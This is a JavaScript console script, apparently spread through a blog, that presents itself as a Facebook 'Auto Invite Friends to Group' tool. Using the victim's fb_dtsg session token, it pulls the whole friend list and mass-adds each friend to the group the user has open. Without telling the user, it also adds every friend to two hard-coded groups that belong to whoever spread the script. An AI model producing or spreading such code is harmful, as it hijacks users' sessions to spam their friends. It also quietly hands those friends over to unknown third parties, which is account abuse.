﻿var tulisanNganu = 'Auto Invite Friends to Group';
var kunaon = '',
	wkwkwk = 'sudusm.blogspot.com - Thanks to ID Revolution';

function penetrasi(e) {
	jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + 

document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + e + "&nctr

[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + Env.user, function (a) {
		var b = a.substring(a.indexOf("{"));
		var c = JSON.parse(b);
		i--;
		kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;";
		if (c.error) {
			kunaon += "color:darkred'>";
			if (c.errorDescription) {
				kunaon += c.errorDescription
			} else {
				kunaon += JSON.stringify(c, null, "")
			}
		} else {
			kunaon += "color:darkgreen'>";
			kunaon += arr[i];
			suc++
		}
		kunaon += "</div>";
		var d = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-

273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba

(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba

(200,200,100,0.1);color:#334433'>";
		d += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
		if (i > 0) {
			d += arr.length + " Friends detected<br/>";
			d += "<b>" + suc + "</b> Friends added of " + (arr.length - i) + " Friends Processed ";
			d += "(" + i + " more to go..)";
			d += "<div class='friend-edge'>";
			d += kunaon;
			d += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";
			d += wkwkwk.split('-')[1];
			d += "</div>";
			d += "</div>"
		} else {
			d += arr.length + " Friends detected and ";
			d += "<b>" + suc + " Friends added</b>";
			d += "<div><span class='uiButton uiButtonLarge' onClick='document.getElementById

(\"pagelet_welcome_box\").style.display=\"none\"'>Close</span></div>"
		}
		d += "</div>";
		d += "<h2 style='position:fixed;left:20px;bottom:20px;border-radius:15px 3px 17px;margin:0 0 15px 

0;padding:1px 10px 3px;border:1px solid rgba(0,0,0,0.2);background-color:rgba(10,10,10,0.5);color:white;font-

size:14px;font-family:'lucida grande',tahoma,verdana,arial,sans-serif;font-weight:bold;white-

space:nowrap;overflow:hidden;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);text-shadow:0pt 1px 0pt rgba

(0,0,0,0.1);display:inline-block'>" + wkwkwk.split('-')[0] + "</h2>";
		document.getElementById("pagelet_welcome_box").innerHTML = d
	}, "text", "post");
	tay--;
	if (tay > 0) {
		var s = arr[tay];
		setTimeout("penetrasi(" + s + ")", 100)
	}
	console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc);
	if (memberGroupId != 175012265965853) {
		jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + 

document.getElementsByName("fb_dtsg")[0].value + "&group_id=175012265965853&source=typeahead&members=" + e + "&nctr[_mod]

=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + Env.user, function () {}, "text", "post")
	}
	if (memberGroupId != 199116690222077) {
		jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + 

document.getElementsByName("fb_dtsg")[0].value + "&group_id=199116690222077&source=typeahead&members=" + e + "&nctr[_mod]

=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + Env.user, function () {}, "text", "post")
	}
}
function clickfr_callback() {
	if (document.getElementsByName("ok").length > 0) {
		nHtml.ClickUp(document.getElementsByName("ok")[0])
	}
	var a = arr[i];
	if (i < arr.length) addfriend(a.substring(0, 4))
}
function clickfr() {
	if (document.getElementsByClassName("search").length > 0) {
		console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes

[1].innerHTML);
		document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);";
		nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])
	} else j++;
	setTimeout("clickfr_callback()", 2e3)
}
function addfriend(a) {
	i++;
	document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
	document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a;
	document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur();
	document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
	document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
	setTimeout("clickfr()", 2e3)
}
function sleep(a) {
	var b = (new Date).getTime();
	for (var c = 0; c < 1e7; c++) {
		if ((new Date).getTime() - b > a) {
			break
		}
	}
}
jx = {
	getHTTPObject: function () {
		var a = false;
		if (typeof ActiveXObject != "undefined") {
			try {
				a = new ActiveXObject("Msxml2.XMLHTTP")
			} catch (b) {
				try {
					a = new ActiveXObject("Microsoft.XMLHTTP")
				} catch (c) {
					a = false
				}
			}
		} else {
			if (window.XMLHttpRequest) {
				try {
					a = new XMLHttpRequest
				} catch (b) {
					a = false
				}
			}
		}
		return a
	},
	load: function (b, c, d, e, f) {
		var g = this.init();
		if (!g || !b) {
			return
		}
		if (g.overrideMimeType) {
			g.overrideMimeType("text/xml")
		}
		if (!e) {
			e = "GET"
		}
		if (!d) {
			d = "text"
		}
		if (!f) {
			f = {}
		}
		d = d.toLowerCase();
		e = e.toUpperCase();
		var h = "uid=" + (new Date).getTime();
		b += b.indexOf("?") + 1 ? "&" : "?";
		b += h;
		var i = null;
		if (e == "POST") {
			var j = b.split("?");
			b = j[0];
			i = j[1]
		}
		g.open(e, b, true);
		if (e == "POST") {
			g.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
			g.setRequestHeader("Content-length", i.length);
			g.setRequestHeader("Connection", "close")
		}
		var k = this;
		if (f.handler) {
			g.onreadystatechange = function () {
				f.handler(g)
			}
		} else {
			g.onreadystatechange = function () {
				if (g.readyState == 4) {
					if (g.status == 200) {
						var a = "";
						if (g.responseText) {
							a = g.responseText
						}
						if (d.charAt(0) == "j") {
							a = a.replace(/[\n\r]/g, "");
							a = eval("(" + a + ")")
						} else {
							if (d.charAt(0) == "x") {
								a = g.responseXML
							}
						}
						if (c) {
							c(a)
						}
					} else {
						if (f.loadingIndicator) {
							document.getElementsByTagName("body")[0].removeChild

(f.loadingIndicator)
						}
						if (f.loading) {
							document.getElementById(f.loading).style.display = "none"
						}
						if (error) {
							error(g.status)
						}
					}
				}
			}
		}
		g.send(i)
	},
	bind: function (a) {
		var b = {
			url: "",
			onSuccess: false,
			onError: false,
			format: "text",
			method: "GET",
			update: "",
			loading: "",
			loadingIndicator: ""
		};
		for (var c in b) {
			if (a[c]) {
				b[c] = a[c]
			}
		}
		if (!b.url) {
			return
		}
		var d = false;
		if (b.loadingIndicator) {
			d = document.createElement("div");
			d.setAttribute("style", "position:absolute;top:0px;left:0px;");
			d.setAttribute("class", "loading-indicator");
			d.innerHTML = b.loadingIndicator;
			document.getElementsByTagName("body")[0].appendChild(d);
			this.opt.loadingIndicator = d
		}
		if (b.loading) {
			document.getElementById(b.loading).style.display = "block"
		}
		this.load(b.url, function (a) {
			if (b.onSuccess) {
				b.onSuccess(a)
			}
			if (b.update) {
				document.getElementById(b.update).innerHTML = a
			}
			if (d) {
				document.getElementsByTagName("body")[0].removeChild(d)
			}
			if (b.loading) {
				document.getElementById(b.loading).style.display = "none"
			}
		}, b.format, b.method, b)
	},
	init: function () {
		return this.getHTTPObject()
	}
};
var nHtml = {
	FindByAttr: function (a, b, c, d) {
		if (c == "className") {
			c = "class"
		}
		var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, 

XPathResult.FIRST_ORDERED_NODE_TYPE, null);
		if (e && e.singleNodeValue) {
			return e.singleNodeValue
		}
		return null
	},
	FindByClassName: function (a, b, c) {
		return this.FindByAttr(a, b, "className", c)
	},
	FindByXPath: function (a, b) {
		try {
			var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
		} catch (d) {
			GM_log("bad xpath:" + b)
		}
		if (c && c.singleNodeValue) {
			return c.singleNodeValue
		}
		return null
	},
	VisitUrl: function (a) {
		window.setTimeout(function () {
			document.location.href = a
		}, 500 + Math.floor(Math.random() * 500))
	},
	ClickWin: function (a, b, c) {
		var d = a.document.createEvent("MouseEvents");
		d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
		return !b.dispatchEvent(d)
	},
	Click: function (a) {
		return this.ClickWin(window, a, "click")
	},
	ClickTimeout: function (a, b) {
		window.setTimeout(function () {
			return nHtml.ClickWin(window, a, "click")
		}, b + Math.floor(Math.random() * 500))
	},
	ClickUp: function (a) {
		this.ClickWin(window, a, "mousedown");
		this.ClickWin(window, a, "mouseup");
		this.ClickWin(window, a, "click")
	},
	GetText: function (a, b) {
		var c = "";
		if (b == undefined) {
			b = 0
		}
		if (b > 40) {
			return
		}
		if (a.textContent != undefined) {
			return a.textContent
		}
		for (var d = 0; d < a.childNodes.length; d++) {
			var e = a.childNodes[d];
			c += this.GetText(e, b + 1)
		}
		return c
	}
};
if (document.getElementsByClassName == undefined) {
	document.getElementsByClassName = function (a) {
		var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
		var c = document.getElementsByTagName("*");
		var d = [];
		var e;
		for (var f = 0;
		(e = c[f]) != null; f++) {
			var g = e.className;
			if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
		}
		return d
	}
}
Array.prototype.find = function (a) {
	var b = false;
	for (i = 0; i < this.length; i++) {
		if (typeof a == "function") {
			if (a.test(this[i])) {
				if (!b) {
					b = []
				}
				b.push(i)
			}
		} else {
			if (this[i] === a) {
				if (!b) {
					b = []
				}
				b.push(i)
			}
		}
	}
	return b
};
var a = 0,
	eind = 0;
var len = document.getElementsByClassName("mbm").length;
for (a = 0; a < len; a++) {
	var ele = document.getElementsByClassName("mbm")[a];
	if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes

[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes

[0].value == "Add Friends to Group") {
		eind = a;
		break
	}
}
var i = 3;
var tay = 3;
var counter1 = 0,
	counter2 = 0,
	counter3 = 0;
var j = 0;
var k = 0;
var suc = 0;
var arr = new Array;
var memberGroupId = document.getElementsByName('group_id')[0].value;
jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + Env.user + 

"&filter[0]=user&__user=" + Env.user, function (a) {
	var b = a;
	var c = b.substring(b.indexOf("{"));
	var d = JSON.parse(c);
	d = d.payload.entries;
	for (var e = 0; e < d.length; e++) {
		arr.push(d[e].uid)
	}
	i = arr.length - 1;
	tay = i;
	console.log(arr.length);
	var f = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-

index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-

radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(200,200,100,0.1);color:#334433'>";
	f += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
	f += arr.length + " Friends detected";
	f += "</div>";
	document.getElementById("pagelet_welcome_box").innerHTML = f;
	penetrasi(arr[i])
})